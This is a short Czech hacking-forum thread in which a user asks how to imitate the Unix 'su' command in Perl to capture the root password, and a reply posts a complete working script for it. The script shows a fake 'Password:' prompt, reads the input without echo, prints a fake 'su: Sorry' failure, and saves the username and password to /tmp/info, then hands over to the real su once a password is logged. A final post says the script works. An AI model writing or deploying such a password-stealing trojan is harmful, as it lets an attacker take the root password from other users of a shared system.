perl - emitace volani su
HackForum
perl - emitace volani su | # |
| pls vyzna se nekdo z vas v PERLu? chtel bych napodobit volani su pro ziskani root pass :)
neco mam nacatyho, ale nejak to zatim nefacha. proste nekde v perlu delam chybu :/
diky za pomoc (odpovědět) | |
|
|
|
re: perl - emitace volani su | # |
| bUgs. : nejses natolik inteligentni abys napsal svuj nici, ale pouzil jsi muj. to mi prave pomohlo... vysledek viz. nize
#!/usr/bin/perl
use Term::ReadKey;
$user = $ARGV[0] || root;
$chislo = test($user);
if ($chislo == "1"){
system("/dev/usb/su");
}
else{
print "Password:";
ReadMode 'noecho';
$password = ReadLine 0;
print "\nsu: Sorry\n";
chomp $password;
ReadMode 'normal';
open(USE,">>/tmp/info");
print USE "$user:$password\n";
close(USE);
}
sub test() {
$user = shift;
open(USE,"</tmp/info");
while(<USE>){
if ($_ =~ m/$user/){
return "1";
close(USE);
}
else{}
}
}
(odpovědět) | |
|
|
|
re: perl - emitace volani su | # |
| Teda tady to jede :D (odpovědět) | |
|
|